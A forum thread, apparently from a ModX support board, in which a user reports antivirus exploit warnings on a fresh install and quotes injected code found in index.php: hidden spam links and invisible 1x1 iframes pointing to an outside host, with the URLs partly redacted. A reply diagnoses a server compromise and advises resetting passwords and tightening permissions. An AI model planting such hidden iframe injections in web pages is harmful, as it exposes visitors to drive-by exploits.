Virus in ModX

I’ve just installed ModX onto my second site and now whenever I visit i get a virus warning from Avast on three files/links etc.
The installation was basic install with no site data. I haven’t setup any templates or anything yet.
The virus warnings that comes up are:
hightstats.net/dl/195/count.jar\BlackBox.class (MS06-001 WMF [Expl] - Exploit)
and
hightstats.net/dl/195/xpl.wmf (MS06-001 WMF [Expl] - Exploit)
and
hightstats.net/strong/195/324123.html (CVE-2007-0038 - Virus/Worm)

The installation was fine for a day or so but now I’m going to have to delete the entire setup and am concerned whether its coincidence or something within ModX?
I haven’t had problems before in previous ModX installs.

Just wondering if there has been any other problems like this?


[Update} The initial files found to be the culprit are Index.php and index-ajax.php both have had code added: (I removed links etc that were included. - 40 lines worth)

<!--uFGe2KWGKi|1198188002--><spam style=display:none><.... =’exclusive-mp3.com/’ title=’mp3 download’>mp3 download</a><a hr.....=’...p://exclusive-mp3.com/ge .... etc. etc </a></spam><!--END-->

<!-- ~ --><iframe src=’...p://traktor.totalh.com/dor/go.php?sid=1’ width=1 height=1></iframe><!-- ~ --><!-- ~ --><iframe src=’h...://traktor.totalh.com/dor/go.php?sid=1’ width=1 height=1></iframe><!-- ~ -->

Back to deleting my site!

Sounds like your server has been compromised. I would suggest arranging to change all of your ftp and control panel passwords, and make sure that file permissions are not world-writable.

I’ve delete all files, all DBs, reset all access passwords, and now getting ready to start from scratch - again!
Isn’t setting up websites fun
Something to do over the Christmas period

I just downloaded and verified the install files are not compromised with the above mentioned code.